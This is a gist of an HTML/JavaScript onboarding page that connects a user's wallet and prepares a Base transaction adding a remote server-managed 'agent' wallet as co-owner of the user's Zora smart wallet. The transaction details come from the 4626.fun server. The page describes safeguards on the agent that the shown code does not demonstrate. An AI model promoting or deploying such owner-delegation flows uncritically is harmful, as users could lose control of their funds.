Skip to content

Instantly share code, notes, and snippets.

@wenakita
Last active April 20, 2026 03:44
Show Gist options
  • Select an option

  • Save wenakita/0e22a96d40d5afddaa35130aabd552e7 to your computer and use it in GitHub Desktop.

Select an option

Save wenakita/0e22a96d40d5afddaa35130aabd552e7 to your computer and use it in GitHub Desktop.
agent 4626 — delegate signing authority to the 4626 agent on your Zora CSW. source of content coin.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>agent 4626 — delegate signing on your Zora wallet</title>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500&family=Instrument+Serif:ital@0;1&display=swap" rel="stylesheet" />
<style>
:root {
--bg: #0a0a0a; --fg: #fafafa; --muted: #8b8b8b; --dim: #444;
--accent: #c89a2b; --pos: #6bd392; --neg: #ee6a6a; --info: #6aa3ee;
--rule: #1a1a1a;
color-scheme: dark;
}
html, body { margin: 0; padding: 0; width: 100%; height: 100%; overflow: hidden; }
body {
background: var(--bg); color: var(--fg);
font-family: "JetBrains Mono", ui-monospace, SFMono-Regular, Menlo, monospace;
font-size: 12px; line-height: 1.5;
display: flex; align-items: center; justify-content: center;
background-image:
radial-gradient(#141414 1px, transparent 1px),
radial-gradient(#141414 1px, transparent 1px);
background-size: 48px 48px; background-position: 0 0, 24px 24px;
}
.card {
width: min(92vw, 580px); max-height: 94vh;
background: linear-gradient(180deg, #0f0f0f 0%, #070707 100%);
border: 1px solid #1a1a1a; border-radius: 2px;
padding: 28px 32px; box-sizing: border-box;
display: flex; flex-direction: column; gap: 16px;
overflow-y: auto;
}
.kicker { color: var(--muted); font-size: 10px; letter-spacing: 0.2em; text-transform: uppercase; }
.headline {
font-family: "Instrument Serif", ui-serif, Georgia, serif;
font-size: clamp(28px, 5.5vw, 44px); font-weight: 400; line-height: 1.05;
color: var(--fg); margin: 0; letter-spacing: -0.01em;
}
.headline em { font-style: italic; color: var(--accent); }
.sub { color: var(--muted); font-size: 12px; line-height: 1.6; margin: 0; max-width: 52ch; }
.sub a, .footnote a { color: var(--fg); text-decoration: underline; text-decoration-color: var(--dim); text-underline-offset: 3px; }
.sub a:hover, .footnote a:hover { text-decoration-color: var(--accent); }
.chips { display: flex; gap: 6px; flex-wrap: wrap; font-size: 10px; letter-spacing: 0.08em; text-transform: uppercase; }
.chip { padding: 3px 8px; border-radius: 999px; border: 1px solid #1a1a1a; color: var(--muted); }
.chip.ok { color: var(--pos); border-color: #1f5b38; background: #0a1a10; }
.chip.warn { color: var(--accent); border-color: #3a2d13; background: #1a1205; }
.chip.err { color: var(--neg); border-color: #5c2020; background: #1a0a0a; }
.field { display: flex; flex-direction: column; gap: 6px; }
.label { color: var(--muted); font-size: 10px; letter-spacing: 0.12em; text-transform: uppercase; }
.label-row { display: flex; justify-content: space-between; align-items: baseline; gap: 10px; }
.label-row .hint { color: var(--dim); font-size: 10px; letter-spacing: 0.02em; text-transform: none; }
.label-row .hint a { color: var(--muted); }
input[type="text"] {
background: #070707; border: 1px solid #1a1a1a; color: var(--fg);
font-family: inherit; font-size: 12px; padding: 10px 12px;
border-radius: 2px; letter-spacing: 0;
}
input[type="text"]:focus { outline: 0; border-color: var(--accent); }
input[type="text"].error { border-color: var(--neg); }
.actions { display: flex; gap: 8px; flex-wrap: wrap; align-items: center; }
button.primary {
flex: 1; min-width: 140px;
padding: 12px 16px; background: var(--fg); color: #000;
border: 0; border-radius: 2px; cursor: pointer;
font-family: inherit; font-size: 12px; letter-spacing: 0.06em;
text-transform: uppercase;
transition: background 0.15s ease, transform 0.1s ease;
}
button.primary:hover:not(:disabled) { background: #e5e5e5; }
button.primary:active { transform: translateY(1px); }
button.primary:disabled { opacity: 0.5; cursor: not-allowed; background: #333; color: #666; }
.preview-panel, .tx-panel, .diag-panel, .error-panel {
border: 1px solid #1a1a1a; background: #070707; padding: 12px 14px;
border-radius: 2px; font-size: 11px;
}
.preview-panel { border-color: #1f3a5c; background: #0a1220; }
.preview-panel .title { color: var(--info); font-size: 10px; letter-spacing: 0.12em; text-transform: uppercase; margin-bottom: 10px; }
.error-panel { border-color: #5c2020; background: #1a0a0a; color: var(--neg); }
.row { display: flex; justify-content: space-between; gap: 12px; padding: 4px 0; align-items: baseline; }
.k { color: var(--muted); letter-spacing: 0.06em; text-transform: uppercase; font-size: 10px; white-space: nowrap; }
.v { color: var(--fg); font-family: "JetBrains Mono", monospace; text-align: right; word-break: break-all; font-size: 11px; }
.v a { color: var(--fg); text-decoration: underline; text-decoration-color: var(--dim); text-underline-offset: 3px; }
.v a:hover { text-decoration-color: var(--accent); }
/* Wallet picker */
.picker-overlay {
position: fixed; inset: 0; background: rgba(0,0,0,0.75);
display: none; align-items: center; justify-content: center; z-index: 100;
}
.picker-overlay.show { display: flex; }
.picker {
background: #0f0f0f; border: 1px solid #2a2a2a; border-radius: 4px;
padding: 20px; width: min(90vw, 420px);
display: flex; flex-direction: column; gap: 8px;
max-height: 88vh; overflow-y: auto;
}
.picker .h { font-size: 11px; letter-spacing: 0.15em; text-transform: uppercase; color: var(--muted); margin-bottom: 10px; }
.picker button.option {
display: flex; align-items: center; gap: 12px;
padding: 12px 14px; background: #1a1a1a; border: 1px solid #2a2a2a;
color: var(--fg); cursor: pointer; border-radius: 3px; text-align: left;
font-family: inherit; font-size: 12px; transition: all 0.15s ease;
}
.picker button.option:hover:not(:disabled) { background: #242424; border-color: var(--accent); }
.picker button.option:disabled { opacity: 0.5; cursor: wait; }
.picker button.option img,
.picker button.option .badge-icon {
width: 28px; height: 28px; border-radius: 4px; flex-shrink: 0;
display: flex; align-items: center; justify-content: center;
font-weight: bold; font-size: 11px; background: #1a1a1a;
}
.picker button.option .meta { display: flex; flex-direction: column; gap: 2px; }
.picker button.option .name { color: var(--fg); }
.picker button.option .sub { font-size: 10px; color: var(--muted); letter-spacing: 0.04em; text-transform: uppercase; }
.picker .status {
padding: 10px 14px; background: #1a1205; border: 1px solid #3a2d13;
border-radius: 3px; color: var(--accent); font-size: 11px; line-height: 1.5;
}
.picker .status.err { background: #1a0a0a; border-color: #5c2020; color: var(--neg); }
.picker .cancel { text-align: center; background: transparent; border: 0; color: var(--muted); padding: 8px; margin-top: 4px; cursor: pointer; font-family: inherit; font-size: 11px; }
.picker .cancel:hover { color: var(--fg); }
.picker .featured {
background: #0a1222 !important; border-color: #1f3a5c !important;
}
.picker .featured:hover:not(:disabled) { background: #0e1a33 !important; border-color: var(--info) !important; }
.picker .featured .badge-icon { background: var(--info); color: #0a0a0a; }
.wc-pane {
display: flex; flex-direction: column; gap: 12px; align-items: center;
padding: 16px 8px 4px;
}
.wc-pane h3 { margin: 0; font-size: 11px; letter-spacing: 0.12em; text-transform: uppercase; color: var(--fg); }
.wc-pane .wc-sub { color: var(--muted); font-size: 11px; text-align: center; max-width: 36ch; line-height: 1.6; margin: 0; }
.wc-pane .wc-qr {
width: 240px; height: 240px; background: #fff; border-radius: 4px;
padding: 10px; box-sizing: border-box;
display: flex; align-items: center; justify-content: center;
position: relative;
}
.wc-pane .wc-qr img { width: 100%; height: 100%; display: block; }
.wc-pane .wc-qr .wc-qr-fallback {
color: #333; font-size: 10px; text-align: center; padding: 12px;
}
.wc-pane .wc-actions { display: flex; gap: 8px; width: 100%; }
.wc-pane .wc-actions button {
flex: 1; padding: 10px 12px; background: #1a1a1a; color: var(--fg);
border: 1px solid #2a2a2a; border-radius: 3px; cursor: pointer;
font-family: inherit; font-size: 11px; letter-spacing: 0.04em;
}
.wc-pane .wc-actions button:hover { background: #242424; border-color: var(--info); }
.wc-pane .wc-uri-text {
font-size: 9px; color: var(--dim); word-break: break-all; padding: 8px;
background: #050505; border: 1px solid #1a1a1a; border-radius: 2px;
max-height: 60px; overflow-y: auto; width: 100%; box-sizing: border-box;
font-family: "JetBrains Mono", monospace;
}
.wc-pane .wc-waiting { color: var(--info); font-size: 11px; }
.footnote { color: var(--dim); font-size: 10px; letter-spacing: 0.04em; line-height: 1.6; }
.footnote code { color: var(--muted); }
.hidden { display: none !important; }
details.diag summary {
list-style: none; cursor: pointer; color: var(--muted);
font-size: 10px; letter-spacing: 0.1em; text-transform: uppercase; padding: 4px 0;
}
details.diag summary::marker, details.diag summary::-webkit-details-marker { display: none; }
details.diag summary:hover { color: var(--fg); }
details.diag[open] summary { margin-bottom: 6px; }
.spin {
width: 11px; height: 11px; border: 2px solid var(--dim); border-top-color: var(--accent);
border-radius: 50%; animation: spin 0.8s linear infinite; display: inline-block; vertical-align: middle;
}
@keyframes spin { to { transform: rotate(360deg); } }
.step-header { display: flex; align-items: baseline; gap: 10px; }
.step-header .n {
color: var(--dim); font-size: 10px; letter-spacing: 0.15em;
min-width: 2.5em;
}
.step-header.done .n { color: var(--pos); }
.step-header .t { color: var(--fg); font-size: 12px; letter-spacing: 0.04em; text-transform: uppercase; }
</style>
</head>
<body>
<div class="card">
<div class="kicker">4626 · AGENT · BASE</div>
<h1 class="headline">meet your <em>agent</em>.</h1>
<p class="sub">
Delegate signing to the 4626 agent and let it trade, rebalance, and handle governance for your Zora wallet from chat. Your funds stay put — every action lands in your wallet, nowhere else.
<br><br>
You stay the primary owner. Fire the agent anytime from 4626.fun.
</p>
<div class="chips" id="chips">
<span class="chip" id="chip-wallet">wallet · not connected</span>
<span class="chip" id="chip-chain">chain · unknown</span>
</div>
<!-- Step 1: connect wallet -->
<div class="field">
<div class="step-header" id="step1-header">
<span class="n">01</span>
<span class="t">connect your wallet</span>
</div>
<p class="footnote">
Connect the browser wallet you used to sign up for Zora (Rabby / MetaMask / Coinbase Wallet). We need a signature from an existing owner of your smart wallet to authorize the agent.
</p>
</div>
<!-- Step 2: paste CSW -->
<div class="field">
<div class="step-header" id="step2-header">
<span class="n">02</span>
<span class="t">your Zora smart wallet</span>
</div>
<div class="label-row">
<span class="label">smart wallet address</span>
<span class="hint"><a href="https://help.zora.co/en/articles/where-can-i-find-my-smart-wallet-address" target="_blank" rel="noopener">where do I find this?</a></span>
</div>
<input type="text" id="csw-input" placeholder="0x…" autocomplete="off" spellcheck="false" />
</div>
<!-- Preview panel (populated after check) -->
<div class="preview-panel hidden" id="preview-panel">
<div class="title">your agent · preview</div>
<div class="row"><div class="k">agent address</div><div class="v" id="preview-agent"></div></div>
<div class="row"><div class="k">status</div><div class="v" id="preview-status"></div></div>
</div>
<!-- Error panel -->
<div class="error-panel hidden" id="error-panel"></div>
<!-- Action -->
<div class="actions">
<button class="primary" id="primary-btn" type="button">connect wallet</button>
</div>
<!-- Tx panel (post-submit) -->
<div class="tx-panel hidden" id="tx-panel">
<div class="row"><div class="k">status</div><div class="v" id="tx-status"></div></div>
<div class="row"><div class="k">tx hash</div><div class="v" id="tx-hash"></div></div>
</div>
<details class="diag" id="diag-container">
<summary>⚠ diagnostics</summary>
<div class="diag-panel">
<div class="row"><div class="k">window.ethereum</div><div class="v" id="diag-eth">detecting…</div></div>
<div class="row"><div class="k">eip-6963 providers</div><div class="v" id="diag-6963">detecting…</div></div>
<div class="row"><div class="k">selected wallet</div><div class="v" id="diag-selected">none</div></div>
<div class="row"><div class="k">csw address</div><div class="v" id="diag-csw"></div></div>
<div class="row"><div class="k">origin</div><div class="v" id="diag-origin"></div></div>
<div class="row"><div class="k">last error</div><div class="v" id="diag-err"></div></div>
</div>
</details>
<div class="footnote">
Under the hood: a plain Base transaction calling <code>addOwnerAddress()</code> on your Coinbase Smart Wallet — ~$0.02 in gas, no bundler, no UserOp. The agent is a Privy-managed server wallet, siloed to you, gated by policy rules that prevent it from moving funds it shouldn't.
</div>
</div>
<!-- Wallet picker modal -->
<div class="picker-overlay" id="picker-overlay">
<div class="picker">
<div class="h" id="picker-title">choose a wallet</div>
<div id="picker-list"></div>
<div class="status hidden" id="picker-status"></div>
<button class="cancel" id="picker-cancel" type="button">cancel</button>
</div>
</div>
<script>
// ─── Sandbox storage shim ────────────────────────────────────────────
// Zora's content-coin iframe runs without `allow-same-origin`, so the
// browser's real localStorage / sessionStorage throw SecurityError on
// access. WalletConnect's transitive deps poke at these globals even
// when we provide custom storage, so we replace them with in-memory
// Maps before any library code runs.
(function installStorageShim() {
const makeStorage = (map) => ({
get length() { return map.size; },
clear() { map.clear(); },
getItem(k) { return map.has(k) ? String(map.get(k)) : null; },
setItem(k, v) { map.set(String(k), String(v)); },
removeItem(k) { map.delete(String(k)); },
key(i) { return [...map.keys()][i] ?? null; },
});
const install = (name) => {
// Does it already work? If so, leave it alone.
try {
const existing = window[name];
if (existing && typeof existing.setItem === "function") return;
} catch { /* throws → we need a shim */ }
try {
Object.defineProperty(window, name, {
value: makeStorage(new Map()),
configurable: true,
writable: false,
});
} catch (e) {
console.warn(`[agent] could not install ${name} shim:`, e);
}
};
install("localStorage");
install("sessionStorage");
})();
// ─── Constants ───────────────────────────────────────────────────────
const API_BASE = "https://4626.fun";
const PREVIEW_ENDPOINT = API_BASE + "/api/onboarding/preview-agent-owner";
const BASE_CHAIN_ID = 8453;
const BASE_CHAIN_HEX = "0x2105";
const BASE_CAIP = "eip155:8453";
const WC_PROJECT_ID = "bc3dfd319b4a0ecaa25cdee7e36bd0c4";
const WC_METADATA = {
name: "agent 4626",
description: "Delegate signing to the 4626 agent on your Zora wallet",
url: "https://4626.fun",
icons: ["https://4626.fun/miniapp-icon.png"],
};
const WC_SIGN_CLIENT_CDN = "https://cdn.jsdelivr.net/npm/@walletconnect/sign-client@2/+esm";
// Connection flow uses soft nudges instead of a hard timeout so we never
// kill a legitimate-but-slow wallet approval. Hard cutoff is 3 minutes.
const CONNECT_SOFT_NUDGES_MS = [6000, 20000, 60000];
const CONNECT_HARD_TIMEOUT_MS = 180000;
// ─── State ───────────────────────────────────────────────────────────
const state = {
address: null,
chainId: null,
providers: [],
activeProvider: null,
activeInfo: null,
cswAddress: null,
preview: null, // { alreadyOwner, agentWalletAddress, txRequest? }
previewLoading: false,
previewError: null,
txHash: null,
txStatus: null,
txError: null,
lastError: null,
// WalletConnect
wcSignClient: null,
wcSession: null,
wcUri: null,
wcConnecting: false,
};
const $ = (id) => document.getElementById(id);
const els = {
chipWallet: $("chip-wallet"),
chipChain: $("chip-chain"),
cswInput: $("csw-input"),
previewPanel: $("preview-panel"),
previewAgent: $("preview-agent"),
previewStatus: $("preview-status"),
errorPanel: $("error-panel"),
primaryBtn: $("primary-btn"),
txPanel: $("tx-panel"),
txStatus: $("tx-status"),
txHash: $("tx-hash"),
diagEth: $("diag-eth"),
diag6963: $("diag-6963"),
diagSelected: $("diag-selected"),
diagCsw: $("diag-csw"),
diagOrigin: $("diag-origin"),
diagErr: $("diag-err"),
step1: $("step1-header"),
step2: $("step2-header"),
pickerOverlay: $("picker-overlay"),
pickerList: $("picker-list"),
pickerTitle: $("picker-title"),
pickerStatus: $("picker-status"),
pickerCancel: $("picker-cancel"),
};
const ADDRESS_RE = /^0x[a-fA-F0-9]{40}$/;
const shortAddr = (a) => a ? `${a.slice(0,6)}${a.slice(-4)}` : "";
// ─── EIP-6963 provider discovery ─────────────────────────────────────
function setupEip6963Discovery() {
window.addEventListener("eip6963:announceProvider", (event) => {
const detail = event.detail;
if (!detail || !detail.provider) return;
if (state.providers.some((p) => p.info.uuid === detail.info?.uuid)) return;
state.providers.push({ info: detail.info, provider: detail.provider });
renderDiagnostics();
});
window.dispatchEvent(new Event("eip6963:requestProvider"));
setTimeout(() => window.dispatchEvent(new Event("eip6963:requestProvider")), 300);
setTimeout(() => window.dispatchEvent(new Event("eip6963:requestProvider")), 1000);
}
// ─── Wallet picker ───────────────────────────────────────────────────
function renderPicker() {
els.pickerList.innerHTML = "";
els.pickerStatus.classList.add("hidden");
els.pickerStatus.classList.remove("err");
els.pickerTitle.textContent = "choose a wallet";
// WalletConnect — featured primary. Works regardless of browser
// extension popup policy or iframe sandbox restrictions.
const wcBtn = mkPickerButton({
featured: true,
iconBadge: "WC",
name: "Mobile wallet (WalletConnect)",
sub: "scan QR · works with Zora mobile, Rainbow, MetaMask, any WC wallet",
onClick: connectWalletConnect,
});
els.pickerList.appendChild(wcBtn);
const divider = document.createElement("div");
divider.className = "divider";
divider.textContent = "or · browser extension";
els.pickerList.appendChild(divider);
const providers = [...state.providers];
if (providers.length === 0 && window.ethereum) {
providers.push({
info: { name: "Browser wallet (window.ethereum)", rdns: "legacy" },
provider: window.ethereum,
});
}
for (const { info, provider } of providers) {
const btn = mkPickerButton({
featured: false,
iconUrl: info.icon,
iconBadge: (info.name || "?").slice(0, 2).toUpperCase(),
name: info.name || info.rdns || "Unknown",
sub: info.rdns || "",
onClick: () => connectExtension(provider, info),
});
els.pickerList.appendChild(btn);
}
if (providers.length === 0) {
const msg = document.createElement("div");
msg.style.cssText = "color:var(--muted);font-size:11px;padding:10px 4px;line-height:1.6";
msg.textContent = "No browser-extension wallet detected. Use WalletConnect above — it works from your phone with any WC-compatible wallet, no browser extension needed.";
els.pickerList.appendChild(msg);
}
}
function mkPickerButton({ featured, iconUrl, iconBadge, name, sub, onClick }) {
const btn = document.createElement("button");
btn.type = "button";
btn.className = "option" + (featured ? " featured" : "");
if (iconUrl) {
const img = document.createElement("img");
img.src = iconUrl; img.alt = "";
img.onerror = () => {
img.style.display = "none";
const bd = document.createElement("span");
bd.className = "badge-icon"; bd.textContent = iconBadge;
btn.insertBefore(bd, btn.firstChild);
};
btn.appendChild(img);
} else {
const bd = document.createElement("span");
bd.className = "badge-icon"; bd.textContent = iconBadge;
btn.appendChild(bd);
}
const meta = document.createElement("span");
meta.className = "meta";
const nm = document.createElement("span"); nm.className = "name"; nm.textContent = name;
meta.appendChild(nm);
if (sub) {
const sb = document.createElement("span"); sb.className = "sub"; sb.textContent = sub;
meta.appendChild(sb);
}
btn.appendChild(meta);
btn.addEventListener("click", onClick);
return btn;
}
function showPicker() { renderPicker(); els.pickerOverlay.classList.add("show"); }
function hidePicker() { els.pickerOverlay.classList.remove("show"); setPickerStatus(null); }
function setPickerStatus(text, isError = false, withSpinner = false) {
if (!text) { els.pickerStatus.classList.add("hidden"); return; }
els.pickerStatus.classList.remove("hidden");
els.pickerStatus.classList.toggle("err", isError);
els.pickerStatus.innerHTML = (withSpinner ? '<span class="spin"></span> ' : "") + text;
}
function setPickerButtonsDisabled(disabled) {
els.pickerList.querySelectorAll("button.option").forEach((b) => (b.disabled = disabled));
}
els.pickerCancel.addEventListener("click", hidePicker);
els.pickerOverlay.addEventListener("click", (e) => { if (e.target === els.pickerOverlay) hidePicker(); });
async function connectExtension(provider, info) {
setPickerButtonsDisabled(true);
const name = info.name || "wallet";
// Staggered nudges rather than a hard cutoff — user might need a
// moment to find the extension popup (often opens behind other tabs
// or tucked in the browser toolbar).
const nudges = [
{ at: CONNECT_SOFT_NUDGES_MS[0], msg: `still waiting on ${name}… look in your browser's extension toolbar or pinned popup.` },
{ at: CONNECT_SOFT_NUDGES_MS[1], msg: `${name} popup hasn't responded yet — if you don't see it, click your browser's extension icon to bring it forward.` },
{ at: CONNECT_SOFT_NUDGES_MS[2], msg: `over a minute — cancel and try again, or pick a different wallet. Brave/Edge sometimes suppress popups inside iframes.` },
];
const timers = [];
const started = Date.now();
setPickerStatus(`opening ${name}… approve the popup to continue.`, false, true);
for (const n of nudges) {
timers.push(setTimeout(() => setPickerStatus(n.msg, false, true), n.at));
}
const hardTimer = setTimeout(() => { /* reached in race below */ }, CONNECT_HARD_TIMEOUT_MS);
timers.push(hardTimer);
try {
const accounts = await Promise.race([
provider.request({ method: "eth_requestAccounts" }),
new Promise((_, rej) => setTimeout(
() => rej(new Error(`no response from ${name} after 3 minutes — try a different wallet or reload`)),
CONNECT_HARD_TIMEOUT_MS,
)),
]);
state.activeProvider = provider;
state.activeInfo = info;
state.address = Array.isArray(accounts) ? accounts[0] : null;
const chain = await provider.request({ method: "eth_chainId" });
state.chainId = parseInt(chain, 16);
state.lastError = null;
attachProviderListeners(provider);
hidePicker();
updateUi();
if (isValidAddress(els.cswInput.value)) runPreview();
} catch (err) {
const fe = friendlyErr(err);
setPickerStatus(`${fe}`, true);
setPickerButtonsDisabled(false);
state.lastError = fe;
renderDiagnostics();
} finally {
for (const t of timers) clearTimeout(t);
}
}
function attachProviderListeners(provider) {
if (provider._4626_attached) return;
provider._4626_attached = true;
provider.on?.("accountsChanged", (accs) => {
state.address = (Array.isArray(accs) ? accs[0] : null) || null;
state.preview = null; renderPreview(); updateUi();
});
provider.on?.("chainChanged", (hex) => {
state.chainId = parseInt(hex, 16); updateUi();
});
}
// ─── WalletConnect v2 (mobile-wallet QR path) ─────────────────────────
//
// Why this exists: browser extension wallets (Rabby / MetaMask) are
// frequently suppressed inside Zora's sandboxed content-coin iframe by
// Brave, Edge, and sometimes Chrome's popup policies. WalletConnect
// sidesteps this entirely — the approval happens on the user's phone
// over a WebSocket relay, not via a browser extension popup.
//
// We use SignClient directly (not EthereumProvider) so we can pass
// custom in-memory storage. Transitive deps of WC still poke at
// localStorage/sessionStorage, but those are shimmed at the top of
// this script.
class MemKVStorage {
constructor() { this.map = new Map(); }
async getKeys() { return [...this.map.keys()]; }
async getEntries() { return [...this.map.entries()]; }
async getItem(k) { return this.map.get(k); }
async setItem(k, v) { this.map.set(k, v); }
async removeItem(k) { this.map.delete(k); }
}
async function loadWcSignClient() {
if (window.__wcSignClient) return window.__wcSignClient;
const mod = await import(/* @vite-ignore */ WC_SIGN_CLIENT_CDN);
const SC = mod.default || mod.SignClient || mod;
if (typeof SC?.init !== "function") {
throw new Error("WalletConnect SignClient module loaded but has no init()");
}
window.__wcSignClient = SC;
return SC;
}
async function connectWalletConnect() {
if (state.wcConnecting) return;
state.wcConnecting = true;
setPickerButtonsDisabled(true);
renderWcPane({ phase: "loading" });
let SignClient;
try {
SignClient = await loadWcSignClient();
} catch (e) {
state.wcConnecting = false;
setPickerButtonsDisabled(false);
renderWcPane(null);
setPickerStatus(`WalletConnect failed to load: ${friendlyErr(e)}`, true);
state.lastError = "wc load: " + friendlyErr(e);
renderDiagnostics();
return;
}
let signClient;
try {
signClient = await SignClient.init({
projectId: WC_PROJECT_ID,
metadata: WC_METADATA,
storage: new MemKVStorage(),
});
} catch (e) {
state.wcConnecting = false;
setPickerButtonsDisabled(false);
renderWcPane(null);
setPickerStatus(`WalletConnect init failed: ${friendlyErr(e)}`, true);
state.lastError = "wc init: " + friendlyErr(e);
renderDiagnostics();
return;
}
state.wcSignClient = signClient;
let connectResult;
try {
connectResult = await signClient.connect({
requiredNamespaces: {
eip155: {
methods: [
"eth_sendTransaction",
"eth_signTransaction",
"personal_sign",
"eth_sign",
"wallet_switchEthereumChain",
],
chains: [BASE_CAIP],
events: ["accountsChanged", "chainChanged"],
},
},
});
} catch (e) {
state.wcConnecting = false;
setPickerButtonsDisabled(false);
renderWcPane(null);
setPickerStatus(`WalletConnect pairing failed: ${friendlyErr(e)}`, true);
state.lastError = "wc connect: " + friendlyErr(e);
renderDiagnostics();
return;
}
const { uri, approval } = connectResult;
state.wcUri = uri || null;
renderWcPane({ phase: "awaiting-scan" });
// Block on the user approving on their phone. No hard timeout here —
// people take as long as they take to find their wallet and tap.
try {
const session = await approval();
state.wcSession = session;
const caipAccount = session?.namespaces?.eip155?.accounts?.[0] || "";
const parts = caipAccount.split(":");
const addr = parts.length === 3 ? parts[2] : null;
if (!addr) throw new Error("no eip155 account returned in session");
const provider = makeWcEip1193Provider(signClient, session);
state.activeProvider = provider;
state.activeInfo = { name: "WalletConnect", rdns: "org.walletconnect" };
state.address = addr;
state.chainId = BASE_CHAIN_ID; // we required eip155:8453 in namespace
state.lastError = null;
state.wcConnecting = false;
attachProviderListeners(provider);
wireWcSessionEvents(signClient);
hidePicker();
renderWcPane(null);
updateUi();
if (isValidAddress(els.cswInput.value)) runPreview();
} catch (e) {
state.wcConnecting = false;
setPickerButtonsDisabled(false);
renderWcPane(null);
setPickerStatus(`connection cancelled or rejected: ${friendlyErr(e)}`, true);
state.lastError = "wc approval: " + friendlyErr(e);
renderDiagnostics();
}
}
function makeWcEip1193Provider(signClient, session) {
const topic = session.topic;
const handlers = new Map();
return {
isWalletConnect: true,
request: async ({ method, params }) => {
return signClient.request({
topic,
chainId: BASE_CAIP,
request: { method, params: params || [] },
});
},
on: (event, cb) => {
if (!handlers.has(event)) handlers.set(event, new Set());
handlers.get(event).add(cb);
},
_emit: (event, payload) => {
for (const cb of handlers.get(event) || []) { try { cb(payload); } catch {} }
},
_topic: topic,
};
}
function wireWcSessionEvents(signClient) {
signClient.on("session_event", ({ params }) => {
const event = params?.event;
if (!event || !state.activeProvider?._emit) return;
if (event.name === "accountsChanged") {
const next = Array.isArray(event.data) ? event.data[0] : null;
state.activeProvider._emit("accountsChanged", next ? [next.split(":").pop()] : []);
} else if (event.name === "chainChanged") {
const hex = "0x" + Number(event.data).toString(16);
state.activeProvider._emit("chainChanged", hex);
}
});
signClient.on("session_delete", () => {
state.wcSession = null;
state.activeProvider = null;
state.activeInfo = null;
state.address = null;
state.chainId = null;
updateUi();
});
}
// ─── WC pairing pane (rendered inside the picker overlay) ────────────
function renderWcPane(cfg) {
if (!cfg) {
// Restore normal picker list
renderPicker();
return;
}
els.pickerList.innerHTML = "";
els.pickerStatus.classList.add("hidden");
els.pickerTitle.textContent = "scan with your phone";
const pane = document.createElement("div");
pane.className = "wc-pane";
const sub = document.createElement("p"); sub.className = "wc-sub";
if (cfg.phase === "loading") {
sub.innerHTML = '<span class="spin"></span> loading WalletConnect…';
pane.appendChild(sub);
els.pickerList.appendChild(pane);
return;
}
const uri = state.wcUri;
if (!uri) {
sub.textContent = "preparing pairing URI…";
pane.appendChild(sub);
els.pickerList.appendChild(pane);
return;
}
sub.textContent = "scan this code with any WalletConnect-compatible wallet — Zora mobile, Rainbow, MetaMask mobile, Trust, etc.";
pane.appendChild(sub);
const qrBox = document.createElement("div");
qrBox.className = "wc-qr";
const qrImg = document.createElement("img");
qrImg.alt = "WalletConnect QR";
qrImg.src = `https://api.qrserver.com/v1/create-qr-code/?size=240x240&margin=0&data=${encodeURIComponent(uri)}`;
qrImg.onerror = () => {
qrBox.innerHTML = '<div class="wc-qr-fallback">QR image blocked by CSP. Copy the URI below and paste it into your wallet app.</div>';
};
qrBox.appendChild(qrImg);
pane.appendChild(qrBox);
const actions = document.createElement("div");
actions.className = "wc-actions";
const openBtn = document.createElement("button");
openBtn.type = "button";
openBtn.textContent = "Open on this device ↗";
openBtn.addEventListener("click", () => {
try { window.open(uri, "_blank"); } catch { /* popup blocked */ }
});
actions.appendChild(openBtn);
const copyBtn = document.createElement("button");
copyBtn.type = "button";
copyBtn.textContent = "Copy URI";
copyBtn.addEventListener("click", async () => {
try {
await navigator.clipboard.writeText(uri);
copyBtn.textContent = "✓ copied";
setTimeout(() => { copyBtn.textContent = "Copy URI"; }, 1800);
} catch {
copyBtn.textContent = "⚠ clipboard blocked";
}
});
actions.appendChild(copyBtn);
pane.appendChild(actions);
const uriText = document.createElement("div");
uriText.className = "wc-uri-text";
uriText.textContent = uri;
pane.appendChild(uriText);
const waiting = document.createElement("div");
waiting.className = "wc-waiting";
waiting.innerHTML = '<span class="spin"></span> waiting for your wallet to approve…';
pane.appendChild(waiting);
els.pickerList.appendChild(pane);
}
// ─── CSW input + preview ─────────────────────────────────────────────
function isValidAddress(v) { return ADDRESS_RE.test((v || "").trim()); }
els.cswInput.addEventListener("input", () => {
const raw = els.cswInput.value.trim();
state.cswAddress = isValidAddress(raw) ? raw : null;
state.preview = null; state.previewError = null;
els.cswInput.classList.toggle("error", raw.length > 0 && !state.cswAddress);
renderPreview(); renderError(); renderDiagnostics(); updateUi();
});
els.cswInput.addEventListener("blur", () => {
if (state.cswAddress && state.address && !state.preview && !state.previewLoading) runPreview();
});
async function runPreview() {
if (!state.address || !state.cswAddress) return;
state.previewLoading = true;
state.previewError = null;
renderPreview(); renderError(); updateUi();
try {
const resp = await fetch(PREVIEW_ENDPOINT, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ cswAddress: state.cswAddress, connectedEoa: state.address }),
});
const text = await resp.text();
let body = null;
try { body = JSON.parse(text); } catch {}
if (!resp.ok || !body || body.success === false) {
const msg = (body && body.error) || `HTTP ${resp.status}`;
state.previewError = msg; state.preview = null;
} else {
state.preview = body.data;
state.previewError = null;
}
} catch (err) {
state.previewError = "Could not reach 4626 preview endpoint: " + friendlyErr(err);
state.preview = null;
} finally {
state.previewLoading = false;
renderPreview(); renderError(); updateUi();
}
}
function renderPreview() {
if (!state.preview && !state.previewLoading) {
els.previewPanel.classList.add("hidden"); return;
}
els.previewPanel.classList.remove("hidden");
if (state.previewLoading) {
els.previewAgent.textContent = "loading…";
els.previewStatus.innerHTML = '<span class="spin"></span> verifying ownership on-chain';
return;
}
const p = state.preview;
els.previewAgent.textContent = p.agentWalletAddress;
els.previewStatus.textContent = p.alreadyOwner
? "already hired — no action needed"
: "ready to sign — one tx on Base";
}
function renderError() {
if (!state.previewError) { els.errorPanel.classList.add("hidden"); return; }
els.errorPanel.classList.remove("hidden");
els.errorPanel.textContent = state.previewError;
}
// ─── UI rendering ────────────────────────────────────────────────────
function renderDiagnostics() {
els.diagEth.textContent = window.ethereum ? `present (${describeEthFlavor()})` : "undefined";
els.diag6963.textContent = state.providers.length
? state.providers.map((p) => p.info.name || p.info.rdns || "?").join(" · ")
: "none announced yet";
els.diagSelected.textContent = state.activeInfo
? `${state.activeInfo.name || state.activeInfo.rdns || "unknown"}${state.address ? ` · ${shortAddr(state.address)}` : ""}`
: "none";
els.diagCsw.textContent = state.cswAddress ? shortAddr(state.cswAddress) : "—";
